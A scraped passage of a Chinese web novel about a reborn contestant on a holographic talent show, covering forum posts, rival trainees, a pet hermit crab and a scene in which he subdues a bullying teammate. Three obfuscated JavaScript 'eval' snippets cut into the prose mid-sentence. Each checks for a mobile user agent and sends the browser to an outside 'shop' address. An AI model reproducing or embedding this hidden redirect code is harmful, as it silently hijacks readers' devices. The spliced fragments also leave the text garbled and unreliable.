阳光晃得人眼晕,那人的形象在光晕里模糊又锋利,黑发蓬松,肤色浸润了阳光,呈现出一种暖洋洋的蜜色。 即便隔着三层的距离,时遥也能感觉到,对方在用一种极其冒犯的,直白的方式紧紧盯着自己。 “我很好奇,你为什么不早点进去呢?”他又饶有兴致地重复了一遍。 无论是居高临下的态度,还是问话的语气,时遥都不喜欢。 在回敬以冷嘲热讽,和耐心解释原因的经典yes or no里,他选择了“or”—— 转身就走。 “好没耐心啊!这个也不要了吗?” 伴随半真半假的抱怨,一枚薄亚克力卡片打着转,被从三层抛了下来。 时遥抬手接下,发现那居然是自己的姓名牌。 它应当是从口袋里滑落,正巧被对方捡到了。 在这节目里丢姓名牌是件挺麻烦的事,时遥重生归来,深有体会,神色也稍稍放缓。 “谢了,我欠你个人情。”他扬了扬胳膊,认真地道了谢。 对方却不肯轻易放他走: “就这么简单?” “不问问拾金不昧的我的名字吗?我做了好事都不配在你那里留名吗?” 时遥把那句“你还有什么条件”咽了下去。 “我知道你是谁。” 大约一小时前,他恰好通过排行榜确认过对方的名次——目前已从第九位飞升至第四,票数还在急速增加,超过第三名指日可待。 “——你是路和光。”他笃定地说。 蝉鸣和树叶簌簌抖动的声音变得清晰。 那一瞬间,或许是错觉,那个在高处的人顿住了。 他维持着原本的动作,整个人呈现出一种僵硬、古怪的定格状态。 “...你认识我?那还真是好荣幸啊!”半晌,那道声音才再次飘下,多了点说不清道不明的戏谑。 时遥纠正他:“不算认识,只是能把名字和脸对上号。” 气质方面差别其实很大,但想想也挺合理。 公式照是在全息外的真实世界拍摄,这里则是潜意识交锋的虚构场景,人的外在表现和内里性格原本就有差别。 上辈子《潜意识选秀》节目里,没有路和光这个人,当他真真切切出现在这里,亦确定了一件事—— 自己这只小小蝴蝶的振翅,已扇动出了意料之外的变数,未来所有事情的发展,未必能完全遵循他记忆中的走向。 从稍有些严肃的思索中拔足,时遥又往上看了一眼。 路和光还在看着他,一副可以耐心等下去的姿态,见他的注意力再次回到自己身上,对方突然毫无征兆地提高了嗓音: “那不要紧——” “不如让我自我介绍一下,你就能更了解我!” 时遥往后退了两步:“这倒也不必——” 路和光对他的拒绝置若罔闻:“我是路和光,目前住在东森-A栋,二十岁,生日2月7日,水瓶座AB型,身高一百八十八点八公分,还在成长中!体脂率...” 时遥:“......” 网上有句传言,一个男人如果身高超过一米八,死了都要把它刻在自己的墓碑上。 他本不以为意,毕竟自己从没把这个当做谈资,可现在,居然隐约理解了这句话到底想表达什么。 “...以及,我是单身。” 时遥:“?” 话题是怎么转到这里来的?他刚才错过了什么重要信息吗? 路和光用比刚才更响的声音重复了一遍:“——我是单身。” “没听清吗?我、是、单、身!” 时遥深吸一口气,只觉得这人脑子有点问题—— 在这里颠来倒去地重复,冲节目组表忠心大可不必,路和光倘若不是单身,早就被高票要求“滚出合宿基地”了。 严苛的大众连练习生的过往情史都耿耿于怀,更别提现在进行时。 “那个...” 有人小心翼翼地开口。 时遥回过头,看见身后站了三四个东森区练习生,正欲言又止地望过来。 几人的目光在他和楼上的路和光身上来回游走,视线相交时,还瑟缩了一下。 “如果想自我介绍的话...其实你可以上去,或者他下来,你们面对面小声说,不用...咳,这么费力的。” 这两位在排行榜上的高位练习生一个在上,一个在下,你来我往,旁若无人地交流,大家都悄悄绕着走,当事人倒毫无引起围观的自觉。 倒也不是说不行,但话题逐渐转向“你好我单身”的时候,好像有哪里不太对? 难,难道是搭讪吗? 时遥攥紧了指间姓名牌。 他无语地往上一指,不偏不倚对准高处正看热闹的路和光:“这话你去和他说。” * 从东森区回到宿舍,时遥刷了会儿《潜意识选秀》的官网论坛。 他大概是唯一一位不用注册ID,不需要投票和攒够积分,就能自由浏览所有帖子内容的人。 东森区的直播结束还没多久,现在满屏都是对霸凌,对时遥解围救场的热议。 无意义的水帖显然被管理员删了不少,但还是在不断地冒出来,首页一秒就有大几百条更新。 他选了热门帖一栏。 [#数据:四区练习生资质对比——均值、众数及各区选手综合素质评估报告(不断更新中)] [#实时:400人即时排名总榜(截止至6月10日12:00)] [#投票:各区颜值排名票选结束,来选节目颜担TOP10] [#水楼:留下你认为最有可能出道的十名选手,赛后看看押中几个] [#分析:每人一天一区十票,第0轮投票规则之我见] 论坛活跃度高得离谱,页面帖子不断刷新,时遥往下又滑了滑,看到了一栋高楼: [#cp:特大喜讯!赛前美帝预定!我拉郎一方说另一方长得帅了!] 他点了进去。 [#2990]:进来之前就知道说的是哪对~ [#63107]:迷茫哥X傲慢哥是吧?我也看好这对! [#754]:我也不想这么早就嗑啊!可他说他脸帅,还想去看看他哎! [#58]:论坛七十多万人参与投票出的东森区区草VS西海区区草,花名暂定“颜霸组”怎么样? 用户的公开ID是“#”后跟一个数字,这个数字代表着TA是第几位注册的用户,时遥往下翻了翻,目前看到的最大编号是“#1087635”。 [#1087635]:在外边的社媒这对已经爆了,刚才刷了一下超话居然都建起来了? 个、十、百、千、万、十万、百万... 这说明目前这个需要实名注册的官方论坛,会员数至少有一百万。 时遥退出来,又点进盖了几万层的闲聊楼,从下往上翻阅。 相比于外边那些嗑糖、舔颜、分析数据、记录排名的人,这里有不少吐槽和抱怨,宣泄着负面情绪。 [#4488]:节目还没开播已经扒出一堆塌房的了,这样下去不会节目播到一半,人都筛没了吧? [#5630]:先是陈嵩民,再是霸凌四人组,这节目好吓人... [#41]:很吃时遥的脸,但更怕他爆黑料是个烂人,不太敢认真pick他,求开导! 时遥盯着那条评论看了看,心道,放心吧,他会在这个节目里当一名—— 只按自己的规则走,所有“真善美”来源于自身的道德洁癖,不轻易服务于任何人的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600712|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非典型,圣父? 上辈子他选秀全程一无所知,尚且能顶着舆论压力,扛过灵魂审判,最终C位出道,更别提重活一世。 [#257]:弱弱问一句,那个余斐真的没人觉得讨厌吗?看得我一股无名火,大家想把他投出去吗? 最后这条,不少人在以“他没做错任何事”,和“不要受害者有罪论”反对,言辞激烈。 时遥刷新了一下,原层主已经把那条评论删了。 他若有所思。 17到24岁,血气方刚的年纪,在人人都戴假面具的传统选秀里,各种冲突屡见不鲜,更别提这节目本来就以“人性的恶”为噱头之一。 不过,无论是观众还是平台,大部分人想看的是戏剧冲突,和可控的恶意,并以投票主宰,享受“恶”因他们的审判被惩戒的过程。 这种权力到后期必然会被滥用,没想到节目还未播出,就已经初见端倪。 千人千色,比如在只追求爽感的观众眼里,余斐同样“十恶不赦”。 “咄咄——” 房间的门被人敲了两下,外边有人说话: “时遥?你在里面吗,时遥?” 时遥收起论坛界面,起身开门。 外边站着个身材瘦长,面容清俊的年轻人。 他眼下两道淡淡泪沟,还有睡眠不足产生的黑眼圈,偏偏五官底子好,即便如此萎靡,也能让人看出几分与众不同的美感来。 这是时遥在西海-A栋的舍友之一,叫做慕戚,主唱定位的练习生。 节目的报名条件中,明确规定参赛选手不能签约经纪公司;若已签约,则必须在参赛前解约,以确保绝对的自由身。 在这一前提下,他们将400名练习生,按资料上的定位分配为3至4人一组的主唱-主舞-rap表演队伍,让他们在正式录制开启前的十二天内训练、磨合。 慕戚就是时遥随机来的队友之一,十八岁,回国不到半个月。 初三迄今的四年时间,他在美国一个人迹罕至的小镇的当地教会学校,读身边一个同胞也没有的书,别说中文,连和人沟通都颠三倒四,正在努力重建语言系统中。 “我起来了,我们要去练习吗?”慕戚问他。 他手里抱着个透明小鱼缸,时遥不自觉地看了两眼:“你几点睡的?” “六点多,早上。”慕戚满怀爱意地说,“这是我的朋友,我那时候捡回来的。你介意如果我把它搬到浴缸里吗?” 鱼缸里,沙子堆成的斜坡上,有个缓缓移动的象牙白螺壳,其上盘踞着淡紫色纹路。 在时遥的注视下,圆滚滚的壳里探出了一双左顾右盼的黑眼睛,紧接着是抖动的触须和螯钳。 一只寄居蟹。 时遥摁住了额头。 ——它叫“洋葱”,他曾见过的。 上辈子也发生过相同的情况,慕戚凌晨跑去海边闲逛,带回了这只寄居蟹—— 他说在沙滩相逢就是缘,要把它暂时养在浴缸里,等放假的时候再带回家。 大家对寄居蟹的生活习性、饲养方式一无所知,却还是忙碌着,把超大的浴缸模拟成了微缩海岸,堆着从海边搬回来的沙石,定期换上海水。 还从食堂带水果和煮熟的蛋黄给它加餐。 夜深人静的时候,听到寄居蟹螺壳敲击瓷砖的“哒哒”声,甚至有些诡异的安心。 然后,某一天,训练回到宿舍,浴缸空无一物,他们找遍了宿舍,才在客厅沙发下找到了干掉的它。 全息世界里模拟生成的寄居蟹,本质是一串数据,但练习生不知道。 慕戚哭得地动山摇,恨不得跳海自尽、以死谢罪,最后惊动了节目组,把这段经历拿来大做文章,引发了以“虐待动物”为名的,对慕戚大规模的围剿。 往事不堪回首,幸亏现在还没发生。 “你准备给它取什么名字?”时遥问。 慕戚面露期待:“Onion。所以...Can I?” Onion,翻译为洋葱,确定为慕戚那位窒息而死的寄居蟹朋友。 时遥坚定地表示:“我特别介意。” 赶在慕戚泫然欲泣之前,他又补充了一句:“但我有个更好的主意。” 5. 第 5 章 晚间十一点的西海区的训练中心,依旧灯火通明。 明天就是第十二天,也是练习生认知里,正式录制前的最后一天。 说是及时巩固也好,临时抱佛脚也罢,总之,这一定是个通宵达旦的不眠之夜。 “咚咚。”敲门声响起。 “进来。” 冯邵元探头进来,左右看了看。 现在是休息时间,慕戚以一个莫名恭顺的姿势跪坐在地上,小声哼着歌曲。 时遥则背部靠墙,双腿伸直往上进行倒立,以缓解长时间练习后的腿部肌肉酸胀。 “刚才D栋的人说在海边看到林雪鸿了,他又没来训练?”冯邵元问。 他所说的“林雪鸿”是时遥和慕戚的第三名队友。 但前期的选歌、观看舞蹈Demo和顺动作、排队形等流程结束后,到了第八天,他就直接不来了。 西海区不少人都知道这事,大家各自心怀鬼胎,要不幸灾乐祸,要不兔死狐悲。 慕戚摇了摇头:“没有。” “这几天他完全不训练,你们也不着急。” 节目组随机分配队友,意味着对方勤奋与否,人品如何全看运气,像时遥和慕戚这样碰上消极怠工的,怎么不算是开局不顺呢? 慕戚倒是想得开,他摆了摆手:“算了算了。” 冯邵元叹了口气,想再说一句“他不练习,到时候你们初评级会被连累”,但转头看见时遥也是一副无所谓的冷淡模样,也不好再多说什么。 “那我就先走...” “等一下。” 时遥的声音飘了过来。 冯邵元扭头,恰好看见他将双腿在墙面向左右两侧撕开,以倒立的姿态,轻而易举做了个巨大的空中一字马。 即使以他的身高,这腿长也有些惊人了。 冯邵元一时间忘了要说什么,目光一路追着时遥侧翻下墙,看他膝盖没弯,身体不晃便已站稳,随即径直走过来。 “有件事,想拜托你帮忙。”他说。 冯邵元:“我?是要我代替林雪鸿帮你们走位吗?” 时遥:“我记得跟你和何安霖同组的那个练习生住在西海-Y栋,是林雪鸿的舍友?” 冯邵元点了点头。 时遥:“你只要让他知道,慕戚捡到一只寄居蟹,西海-A栋包括时遥在内的其他三个人都非常喜欢,这就够了。” 在说到“时遥”二字的时候,他加重了语气。 冯邵元:“?” 冯邵元不明所以,却还是点头应下。 ——重要的小组作业有一名同伴经常迟到、早退,不认真练习,还理直气壮,你会如何处理? 上辈子时遥选择阐明利害、以理服人。 他们为了初评级分数不落于人后,几乎使尽浑身解数,也要把林雪鸿拖进练习室。 后采中的林雪鸿直言,在这个舞台上,时遥有dance break,还有Tricking——即极限特技可以展示,慕戚则会利用强势的三段式高音炫技。 作为rap担的自己施展空间不够,会被惊艳的队友们压下一头。 要是发生在现实世界,大多数人选择心里嘀咕几句,怀揣不爽继续配合,争取当个体面人。 可潜意识空间里,他杀敌一千,自损八百也在所不惜,摆明了想让谁都不好过。 时遥:“天亮之后,我们再去找一次林雪鸿。” 慕戚:“要不算了吧?强扭的瓜不甜...”他卡了一下,“...强行拉过来的队友也不会好好配合的——We should just let him go,我们随他去吧。” 佛系无争到一定程度就算懦弱,亦是必死局,尤其在这个节目里。 时遥抛出杀手锏:“你还想不想和你的洋葱厮守终生?” 慕戚一骨碌坐直,再次态度温顺地跪坐下来:“什么时间?我会设个闹钟。” 时遥:“上午八点之前。” 他看了一眼挂在练习室墙面的钟:“再练习一个小时,早点回去休息吧。” * 粉丝的尖叫声变了调,惊恐的哭喊扎入耳膜,导演在对讲机里吼破了音,无数仓皇的脚步声咚咚砸在舞台上。 “唔理唔哩唔哩——” 救护车的鸣笛声撕开夜空、由远及近,每一声都蛮横地撞入太阳穴。 他低下头。 左脚的马丁靴,以一种人类绝无可能做到的角度往外撇着,暗红的血沿着黑色皮革的缝隙,一寸一寸洇开。 脚踝以下,好像已经不存在了。 靴子里的那个东西,不是他的脚。 钻心的痛楚从骨缝里炸开,烧红的电流顺着小腿一路窜到头皮,有什么东西硬生生被从身体里剥离抽出,又化作实质性的重量,死死压在胸口。 他连半口破碎的喘息都拼凑不出。 剧痛混杂刺耳的喧嚣,一浪一浪拍打过来,将他彻底淹没,仅剩下一片压抑的嗡鸣。 然后,时遥在海浪声中醒来。 不是梦里那种会把人直接撕碎的声浪,是真实的,一进一退的海浪,连绵着拍打在枕边。 临海宿舍二层的窗户隔音效果并不好,足以把人拉回现实。 早上六点,天光微凉。 “嘭。” “嘭。” “嘭。” 他仰面躺着,湿透的黑发黏在前额,沉默地数着心跳。 慕戚抱着鱼缸和装了铲子、塑料瓶等杂物的脸盆,像要去海边挖螃蟹的小学生一样,兴高采烈地来到客厅。 烘干机嗡嗡运作,时遥坐在餐桌前,刚洗过澡的模样,脸色不知为何特别苍白,嘴唇也毫无血色。 身后的窗开了小缝,湿冷咸腥的海风一缕一缕钻进来。 “早上好。”他打了个招呼,“那,我们现在出发吗?” 时遥回过神,扶着桌子站起来:“走吧。” 目标是西海-Y栋,也是西海区的最后一栋宿舍楼。 今天是个有雾的阴天,灰白色的海鸥于半空盘旋着掠过,在还未散去的海雾中发出短促的嘶叫。 路过刚刚刷新过位次的巨屏,时遥看见自己依旧以嚣张的姿态占据着榜首。 路和光昨晚就从第九位一路逆袭,升至第二位。 这一晚过去,他跟时遥的票数差变化不大,与原本的第三位,南岩区的练习生单竞之,倒是拉开了一点距离。 不得不说,观众们在不清楚练习生们真实性格之前,确实是纯根据喜欢的外形选人。 ——目前的前四名,正好分别是论坛四区颜值投票的top1,观众亲切地称呼他们为“四大区草”。 慕戚在近四百名练习生中排在第二十位,也是个相当不错的位次,时遥抬头时,他也顺势瞥了两眼。 “前十里面,你和路和光的姿势真的好一致啊。”这么一看,他有了新的发现。 时遥倒没留意这个,听他这么说,再次望了过去。 确实,大部分人在公式照中,会不自觉地往左或向右稍偏。 而他和路和光,神情、气质截然相反,却不约而同正脸朝向镜头,之前还没注意,现在一上一下镶嵌在榜单上,倨傲和松弛,居然隐隐有种隔空对峙的气场。 “你认识路和光?”时遥问。 慕戚:“也不是,不过我昨天吃晚饭的时候,隔壁一直在讨论——就在旁边的桌子。他们说,听东森区的练习生说,路和光一直对你大喊,like,他是单身。” 时遥:“是啊,还无意义地重复了三遍。” 好事不出门,坏事传千里,西海和东森距离不近,两方交集极少,也不知道是从谁嘴里传到这头来的。 慕戚疑惑地问:“可是,他为什么要和你讲这个?” 时遥耸了耸肩:“不知道。” 慕戚试着猜测:“会不会是真心话大冒险输了!又或者,他是在玩一些...比如‘随机和一个人表明单身,让他感觉莫名其妙’的游戏?” 时遥:“也不是没有可能。” 如果换成别人,可能是在一本正经地跑火车,但慕戚...他大概是认真的。 沿着栈道一路往后,地面的沙子从零星几缕,变得越来越多,待到中段往后,慕戚明显高兴了起来。 “这就是那个地方,我在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600713|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到Onion的。”他告诉时遥。 时遥点了点头:“再往前走一点。” 西海-X和Y栋是最后两栋宿舍楼,礁石退尽,面朝一望无际的沙滩。 时遥往前方一指:“好了,你去换水补沙吧。” 一边说,他一边看了看手表。 八点十分,时间卡得恰到好处。 慕戚欢快地跑了,时遥则慢一步地跳下栈道,足下沙子松软,他顺手抓起一把,感觉到饱满又干爽的沙粒从指缝流泻下去。 论坛里,昨天刷到的热门帖还飘在首页,楼层越盖越高: [#投票:来投票,假设四区直播热度比拼的爆料是真的,哪个区会获胜?] 正是标题中的热度、爆料等词吸引了时遥的注意。 前世的他们在出道夜后彻底离开,才恢复了全息空间内的所有记忆,加上他后来还把节目从头到尾看了五遍不止,包括试点和全息外花絮记录,很确定没有这一项活动。 在主楼,楼主还放了另一个帖子的链接: [#爆料/分析:节目组试点直播时间安排更新] 楼主[#44]:《潜意识选秀》节目组相关工作人员爆料,明天四区将于上午八点同时开试点,矩阵传媒的大佬在正式开播前下来视察情况,顺带监测热度。 直播的巡航眼移动还是以情绪波动为基准,当然也不排除直接聚焦高人气练习生的可能。 这节目还没开播,四区的第一次battle就要开始了,可以说热度就是指标! 其中“直接聚焦高人气练习生”的说辞,时遥直接划了个重点。 这下面自然有人质疑楼主的说法: [#3991]:早上八点就开?看到这个时间点就可以不用继续往下了,练习生起床了没先不说,哪位大佬起这么早?这节目是要比谁更勤奋吗? [#102]:单纯不信临时加直播,还不发通知这点。 但也有对这个爆料坚信不疑的: [#985]:很合理啊,两天前的北雾区,和前天下午的西海区临时加播的两场不都没提前预告嘛,专门给观众直播劣迹练习生出局的,不知道你们,反正我看爽了~ [#211]:有没有一种可能,早上八点开播是因为这批人下午就要撤回来?去掉早午餐,留给他们的时间本来就不多啊。 id211的这条回复很快就被顶到了高赞。 他所说的“撤回来”,指的是所有练习生会短暂地从全息场景离开,回到现实世界。 这是节目组强制要求的,两周内至少进行一次。 理由很简单,怕现实世界的选手出事。 他们肉身所在的全息舱,的确会提供营养液和定期的肌肉微震电击,但人工模拟不可能双脚落地,必须本人出来活动活动,以免躺废了; 从心理层面来说,人的大脑无法在这种高强度的虚幻刺激下一直保持清醒,一旦认知出错,会彻底分不清哪头是真的,势必要把人强制拽出。 “哟——” “那边的!” 时遥扭头看去,有个意料之中的人双手揣兜,嘴里嚼着口香糖,肩膀一高一低地晃荡着走来。 那是个年纪尚轻的男孩,皮肤透着养尊处优的白,走近了,他偏头“呸”地把口香糖吐在地上,接着毫无征兆地抬起腿—— “啪!” 将一只足前的小贝壳远远踹飞,激起一片沙尘。 大概是觉得这动作做起来很酷,他眼角眉梢的洋洋得意快要溢出来了。 “你们怎么没去练习呀?” 他装腔作势地问。 时遥没有立刻回答。 “不会是没我不行,特地来求我的吧?” 时遥往前走了两步,对方循着他的目光,看到了蹲在海边,专心致志用铲子挖沙的慕戚。 他眼珠一转,嘴角迅速挽起意味不明的笑意:“要不然这样吧,我今天配合你们好好练习,还可以为了你们通宵,但听说你们有只寄居蟹?作为交换,不如给我玩玩。” 大批的弹幕正疯狂涌入视野。 时遥眼风轻轻一瞥,微不可见地提了提嘴角。 6. 第 6 章 浪涌声阵阵。 远处的林梢在横冲直撞的风里急促地抖动。 山雨欲来。 时遥的额发被风吹乱,他侧过脸,貌似心平气和地问:“你说什么?风太大了,我刚才没听清。” 他的真实听力水平绝非如此。 但林雪鸿却信以为真,时遥的提问给了他第二次表演的机会,立刻夸张地挑起眉:“我说——我当然可以配合你们好好练习,为你们通宵,但是那只据说你很喜欢的寄居蟹,我要了,这个交换很划得来吧?” 时遥加重了语气:“为我们?” 林雪鸿没懂他强调这三个字的意思:“怎么,你不乐意?”他换了个嘲讽的表情,“不会吧不会吧?用一只满海滩都能找到的寄居蟹,换我的配合有多划算,这笔账你都算不明白?你们可真是爱护动物。” “爱护动物”四个字咬得很重,阴阳怪气尽显。 他压根意识不到自己的问题,甚至觉得这算是屈尊俯就。 这就是时遥两辈子所认识的林雪鸿。 前世的他动之以理,慕戚晓之以情,将林雪鸿拖进了练习室,却没想到,在初评级舞台上差点捅了个大篓子—— 在舞台的高潮部分,有个需要三人配合的动作。 简单来说,就是慕戚和林雪鸿并排站立,绷紧肩膀和核心,时遥会双手撑住他们的肩膀,借着惯性和推力,在他们头顶上方,完成一个漂亮的后空翻。 无数次的练习都没有出过差错,除了最后一次。 在正式表演时,林雪鸿故意在时遥发力的瞬间装作没站稳,肩膀提前撤力。 一切发生得太突然,时遥的身体被迫顺着失控的方向,歪着翻了出去,原本的后空翻成了几乎擦着舞台地面的侧翻,非常勉强地完成了动作。 由于惯性无法站稳,他还不得不顺势翻滚一圈卸力,贡献了一张后来对家和黑粉用来黑他的动图。 这是外行都能看出的舞台失误,却已是时遥临场状态下的极限自救了。 ——或许是想要保留“当事人是否故意”的争议,提升话题度,一直到最后林雪鸿被淘汰,节目组才放出了当时的采访。 林雪鸿表达了他对自己可能会被队友压制的不满,也解释了他在台上的所作所为: “我就是突然想知道,什么都是第一名,长得又帅,特技也做得特别好的时遥如果在舞台上失误摔了,会是什么狼狈的样子。” 说话的时候,还肆无忌惮地对着镜头笑。 时遥如果不及时修正,轻则肩背撞地受伤,重则头颈砸地,颅骨骨折、脖子折断都极有可能发生。 林雪鸿到底知不知道这会酿造糟糕的结果,并不重要。 无论如何,这种统统朝着时遥倾注的极致恶毒,通过这场选秀被彻底激发,无法用“被宠溺过度的骄纵”来一笔带过。 ——于是,时遥利用这点,以“第一名,长得又帅,特技也做得特别好”的自己钓出了林雪鸿。 回忆到此结束,时遥语气平平地回答:“既然满海滩都能找到,那你自己去找不就行了。” 像是不满意他的回应,林雪鸿往前跨了两步:“满海滩都有,但我就想要你喜欢的那只。” 时遥:“这就是你委婉表达‘我喜欢抢别人心头爱’的方式?” “别人的当然是最好的。” “寄居蟹是一条生命,不是你用来交换的筹码。” “得了吧,低等生物算什么生命,它有脑子吗?有思维吗?有价值吗?” “不要用你人类的傲慢去定义别的生命。” 时遥一步步不着痕迹套出的真心话,正在激起观看直播的观众的反感。 眼看着,弹幕的愤怒情绪早已抵达了最高峰: 【能不能扇他?我就问能不能?】 【我屮艸芔茻,现在脑袋里呼啸而过的全是骂人的脏话,从未见过如此理直气壮犯贱之人!】 【槽点太多我居然不知道该吐槽哪个?】 【众筹求弄死他!】 【啊啊啊啊啊我今天刚给他投票!】 还有满屏的问号,全是看直播观众的无语,许多人不自觉爆了粗口,可惜脏字被直播间的机制屏蔽,无法得见天日。 对话间,慕戚也姗姗来迟,听见他如此轻蔑的说辞,气得反唇相讥: “谁说我的Onion没脑子?!它还会自己挑壳...跑很多家店对比价格呢!” 时遥:“货比三家。” 慕戚:“对!货比三家!” 【那个就是Onion?】 【我还是第一次看寄居蟹呢!】 【官方的环境设定也太可爱了!还能看到选手赶海挖沙养小动物?!】 【一只叫“洋葱”的寄居蟹!你别说,这名字和它的壳还挺配套的!】 弹幕的注意力逐渐分散到了慕戚不离手的鱼缸上。 时遥的目的已经达到。 像前世那样把寄居蟹“洋葱”随意养在浴缸里不是办法,保不齐哪天就会重蹈覆辙。 它并不是真实存在的生物,没有自我意识。 想让其乖乖地停留在某个地方不离开,或者永远不“死”,不过是程序员动动手指,在系统后台修改两行属性数据而已,方法非常简单。 困难的是如何让他们这么做。 有一个办法—— 让寄居蟹“洋葱”的存在,不仅仅是慕戚试图饲养的宠物。 使它介入一段剧情,成为一场冲突里不可缺少的元素之一,被观众注意到。 如此可解。 林雪鸿哪管得了那么多,从小到大很少有他想要却得不到的东西,见寄居蟹近在眼前,兴致来了伸手欲抢。 慕戚抱紧了他的缸,连连后退。 时遥则从身后伸出手,勾住林雪鸿的脖子。 在外人看来,那只是个年轻男孩儿之间玩笑性质的勾肩搭背—— 只有当事人知道,那胳膊的力道有多重,陡然勒紧的同时,五指亦死死扣住了他的肩膀,喉结上横亘的小臂,卡得林雪鸿连转头的余地都没有,只能被牢牢固定在对方身前。 他狼狈地涨红了脸,奋力挣扎着发出怒吼:“你给我...!” “放手”二字还没来得及说出口,时遥蓄势待发的另一只手,大拇指骤然往前一顶。 精准地,狠狠地摁进了林雪鸿的后颈窝。 未尽的话,毫无征兆地卡在了喉咙口。 一股诡异的胀痛倏地窜进眼底,蛮横地试图将眼球从后方抵出,他的手还维持着作势推搡的动作,视线先诡异地模糊了几秒。 古怪的眩晕和作呕感接踵而至。 “...呕!” 时遥松了手,林雪鸿就一把捂住嘴,他双腿一软,难以自控地半蹲了下去。 在并不炎热的海边风中,转瞬就冒出了密密麻麻的冷汗。 “他怎么了?”慕戚震惊地问。 时遥耸了耸肩。 “喝酒喝多了,宿醉?”慕戚又问。 这猜测甚至算得上合理,毕竟之前闹出直播事故的西海区陈嵩民,就是酒后误事,不打自招。 ——《潜意识选秀》节目并没有严令禁止练习生抽烟喝酒,也或许,他们巴不得练习生放纵自我,献祭自己,以换取更高的节目热度呢。 林雪鸿还在大口大口地喘着粗气。 虽然眼前很快恢复了清晰,胃里的翻江倒海也被逐步压下,可颈窝依旧残存隐隐发烫的钝痛,转头的时候,后脑勺似乎还微微发麻。 时遥和慕戚都在看着他,这让林雪鸿难以忍受,觉得羞耻。 他撑着膝盖,摇晃着站起身,想丢句狠话挣回面子,最后却只欲盖弥彰地扯了扯衣领,踉跄着往反方向而去。 “等等。” 林雪鸿站住了。 “捡起来。”时遥说。 他没听懂,迟疑片刻,不得不连脖子带肩膀,僵硬地转了回去。 时遥垂下眼睛,重复了一遍:“捡起来。” 他的视线尽头,那块被嚼烂了的口香糖静静陷落在二人脚底的海沙中,沾满了细碎的砂砾。 “——他的意思是让你赶紧把那个捡起来丢掉。” “怎么能在沙滩上乱吐口香糖?海鸥误食怎么办?寄居蟹踩中怎么办?污染大自然怎么办?” “真没素质!” 义正言辞,好似那正义的光照在了大路上。 这声音? 时遥揉了揉耳朵,循声看去。 临海栈道末端恰好越过海岩交界的礁石滩,卡在毗邻的南岩区边缘,也因此受到隔壁起伏的地势影响,在距离他们不远的位置,形成了一个地势更高的木质平台。 路和光就坐在平台边高高的围栏上,双腿悬空,深绿色外套被海风猎猎吹动,看起来随时可能因重心不稳跌落。 【!!!】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600714|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【他刚才不还在东森区横行霸道吗?怎么现在跑这儿来了?】 【@时遥,你老公来了!】 而时遥此时只觉得无语:“...你怎么总那么喜欢高的地方?” 路和光笑着说:“因为我喜欢在上面。” 【?虎狼之词!】 【什么上面,哪个上面?你说清楚啊小哥哥!】 【不懂就问这是调戏吗?】 【“总那么喜欢”?这话从何说起?】 【等等!我昨天还在嗑拉郎,为什么这两个人看起来关系很好的样子?】 路和光单手一撑,利落地转回平台内侧,然后沿着栈道,一路往三人所在的方向走了过来。 后脑那种针扎般的刺痛再次一波波袭来,林雪鸿莫名瑟缩了一下。 这人步伐松弛,和刚才自己虚张声势的故作姿态截然不同,落在身上的眼神,莫名的令他喘不上气。 他迅速蹲下,一把抠起口香糖,攥在掌心转身就跑,仓促间一同抓起的沙从指缝间淅淅沥沥漏了一路,而他浑然不觉。 慕戚倒没有林雪鸿的同款感受——反正路和光也不怎么正眼看他。 “我去继续挖沙子。”他转向时遥。 时遥:“嗯,去吧,别跑太远。” 走到了三米开外的路和光,终于分出一点眼神,瞥了一眼貌似很识相地跑开的慕戚。 他看起来很满意,不知道到底在满意什么。 两人上次见面,隔着数米的距离简短交流了几句。 这次终于站在同样的高度,时遥终于得以近距离观察对方: 眼尾轻挑,肤色是半融化的焦糖,瞳孔是涂了蜜的琥珀,看人的眼神拉扯出黏稠的情绪。 面对时遥略显挑剔的注视,路和光随意地拍了拍自己脑后被风吹得蓬乱的黑发,自如地往前走了两步。 一脚跨越了原本只属于熟人的社交安全距离。 再一步。 直接欺身至咫尺,随即往前欠身,投下一片因过于高大而极具压迫感的阴影。 “脖子后边有个点,稍微用点力气捏的话,会感到眼睛后面有压力,然后呕吐。”他慢吞吞地说,嗓音喑哑,气息擦着耳廓,激得人后颈条件反射地一紧。 时遥下意识地避了避。 他的手腕被倏地擒住。 垂眼看去,路和光的无名指正以一种极为不自然的方式发力收紧,与大拇指相抵,力度并不算大,但足以严丝合缝地贴紧腕骨的凹陷,生怕他逃跑一般。 “...知道这件事的人估计不少,可是能运用出来的人,多多少少都得练过两手,你说呢?” 果然,时遥对林雪鸿的所作所为,路和光都看在眼里。 